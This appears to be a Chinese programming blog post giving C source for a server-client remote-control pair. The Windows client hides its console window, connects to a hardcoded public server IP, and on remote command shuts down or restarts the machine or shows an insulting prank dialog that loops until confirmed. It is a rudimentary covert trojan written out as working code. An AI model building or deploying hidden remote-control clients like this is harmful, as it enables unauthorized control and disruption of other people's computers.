gcc -mwindows gui.cpp -o guinocmd.exe
编译之后不会显示窗口, 但是测试之后不行
服务器Linux
//socket 套接字, 用来进行网络通讯
#include <string.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <stdlib.h>
int main()
{
//windows 网络套接字 进行版本匹配 一般使用2.2
//打电话
//1.安装电话机
//使用socket函数, 选择协议IPv4, 第二个是流式套接字TCP
int sock = socket(PF_INET, SOCK_STREAM, 0);
int hServSock = socket(PF_INET, SOCK_STREAM, 0);
//2.电话卡分配号码
//ip地址 端口号
struct sockaddr_in servAddr;
//使用ipa4
servAddr.sin_family = AF_INET;
//这里是ip地址,自动获取本地地址
servAddr.sin_addr.s_addr = htonl(INADDR_ANY);
servAddr.sin_port = htons(6280);
bind(hServSock, (struct sockaddr*)&servAddr, sizeof(servAddr));//绑定
//3.接入电话网络, 开始监听, 同一时间最多5个
listen(hServSock, 5);
//4.接电话, 建立对方的
//int hClntSock;//对方和这个在进行交流
//保存对方的ip地址端口号
//struct sockaddr_in clntAddr;
//int clntAddrSz = sizeof(clntAddr);
//hClntSock = accept(hServSock, (struct sockaddr*)&clntAddr, &clntAddrSz);
//5.说话
//printf("%s 链接成功\n", inet_ntoa(clntAddr.sin_addr));
int choice;
char buf[1024];
char select;
int hClntSock;
struct sockaddr_in clntAddr;
while(1)
{
int clntAddrSz = sizeof(clntAddr);
printf("是否等待下一次链接?\n");
scanf("%c", &select);
getchar();
if(select!='y')
{
break;
}
printf("等待链接。。。\n");
hClntSock = accept(hServSock, (struct sockaddr*)&clntAddr, &clntAddrSz);
printf("链接成功\n");
printf("是否链接y/n\n");
scanf("%c", &select);
getchar();
//printf("%c\n", select);
if(select!='y')
{
send(hClntSock, "6", 2, 0);
break;
}
while(1)
{
system("clear");
printf("1.关机\n");
printf("2.注销\n");
printf("3.重启\n");
printf("4.恶搞\n");
printf("5.来\n");
printf("6.关闭客户端\n");
scanf("%d", &choice);
getchar();
if(choice<=0||choice>6)
{
continue;
}//数字转化为字符串
sprintf(buf, "%d", choice);
send(hClntSock, buf, 1024, 0);
recv(hClntSock, buf, 1024, 0);
if(!strcmp(buf, "Y"))
{
continue;
}
printf("对方下线\n");
close(hClntSock);
select=0;
break;
}
}
close(hServSock);
return 0;
}
客户端
//被监控的
//socket 套接字, 用来进行网络通讯
#include <stdio.h>
#include <winsock2.h> //windows套接字头文件
#pragma comment(lib, "ws2_32.lib") //windows套接字库文件
#include<windows.h>
void hindWindows(){
HWND hwnd;
hwnd=FindWindow("ConsoleWindowClass",NULL);
if(hwnd)
{
ShowWindow(hwnd,SW_HIDE);//设置指定窗口的显示状态
}
}
int main()
{
hindWindows();
WSADATA wsadata;
WSAStartup(MAKEWORD(2, 2), &wsadata);
//准备电话机
SOCKET hClntSock = socket(PF_INET, SOCK_STREAM, 0);
int c;
//知道对方的号码, 端口号, 服务端
//ip地址 端口号
SOCKADDR_IN servAddr;
//使用ipa4
servAddr.sin_family = AF_INET;
//这里是ip地址,自动获取本地地址
servAddr.sin_addr.s_addr = inet_addr("114.55.226.26");//服务器的ip地址
//servAddr.sin_addr.s_addr = inet_addr("192.168.31.168");//服务器的ip地址
//servAddr.sin_addr.s_addr = inet_addr("108.0.105.0");//服务器的ip地址
servAddr.sin_port = htons(6280);
connect(hClntSock, (SOCKADDR*)&servAddr, sizeof(servAddr));
//拨打电话
char buf[1024];
while(1){
recv(hClntSock, buf, 1024, 0);
printf("%s\n", buf);
int ret = atoi(buf);
if(ret==1)
{
system("shutdown -s -t 180");
MessageBox(NULL,"快保存文件,三分钟后关机","芜湖",MB_OK);
//printf("六十秒关机\n");
}else if(ret==2)
{
//system("shutdown -l");
//printf("六十秒注销\n");
}else if(ret==3)
{
system("shutdown -r -t 180");
MessageBox(NULL,"快保存文件,三分钟后重启","芜湖",MB_OK);
//printf("六十秒重启\n");
}else if(ret==4)
{
//system("shutdown -l");
//printf("恶搞\n");
while(1){
c = MessageBox(NULL,"焦浩洋是你爸爸, 请确认","芜湖",MB_OKCANCEL);
if(c == 1)
{
//send(hClntSock, "对方确认", 2, 0);
break;
}
}
}else if(ret==5)
{
//system("shutdown -l");
//printf("来\n");
}else if(ret==6)
{
//system("shutdown -l");
//printf("退出\n");
send(hClntSock, "N", 2, 0);
break;
}
send(hClntSock, "Y", 2, 0);
}
//system("pause");
WSACleanup();
return 0;
}
遇到的问题
- 使用
getchar()
进行处理回车 - linux上面不能使用Windows上面定义的一些关键字